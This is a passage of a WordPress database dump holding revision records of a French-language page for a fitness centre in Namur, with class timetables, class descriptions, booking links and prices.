height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:05:26', '2014-08-31 08:05:26', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(448, 1, '2014-08-31 08:07:36', '2014-08-31 08:07:36', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:07:36', '2014-08-31 08:07:36', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(450, 1, '2014-08-31 08:10:52', '2014-08-31 08:10:52', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; 